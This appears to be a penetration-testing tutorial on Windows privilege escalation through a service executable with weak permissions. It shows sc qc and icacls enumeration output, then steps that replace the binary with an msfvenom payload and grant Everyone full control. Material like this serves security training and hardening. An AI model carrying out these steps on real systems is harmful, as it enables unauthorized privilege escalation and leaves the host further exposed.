Insecure permissions on service executable

Suppose we have found a service with executable that has insecure permissions (eg. C:\insecure\permissions\bin.exe). The account is srv_user.

C:\> sc qc [service_name]
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
        TYPE               : ...
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\insecure\permissions\bin.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : [display_name]
        DEPENDENCIES       :
        SERVICE_START_NAME : srv_user

The following command (icacls) allows us to view the permissions of the executable:

C:\>icacls C:\insecure\permissions\bin.exe
C:\insecure\permissions.exe Everyone:(I)(M)
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Users:(I)(RX)
    ...
    ...

The following line: Everyone:(I)(M) shows that the Everyone group has modify (M) permissons on the service executable. This allows us to overwrite the executable with our own payload and have it run as the privileges of the configured service user account.

The following steps can be taken to replace the original .exe file with our own:

1. Use the move command to move bin.exe to a backup location (.exe.bkp). The new location can have any name or extension

2. Create a executable payload with msfvenom, and move the created payload to the file name of the original file (bin.exe)

3. Provide full permission (F)to the Everyone group. This allows any user to execute this file.

C:\> cd C:\insecure\permission

C:\insecure\permission> move bin.exe bin.exe.bkp
        1 file(s) moved.

C:\insecure\permission> move [path_to_created_exe_payload] bin.exe
        1 file(s) moved.

C:\insecure\permission> icacls bin.exe /grant Everyone:F
        Successfully processed 1 files.

When the service is started, the executable created by us will be executed.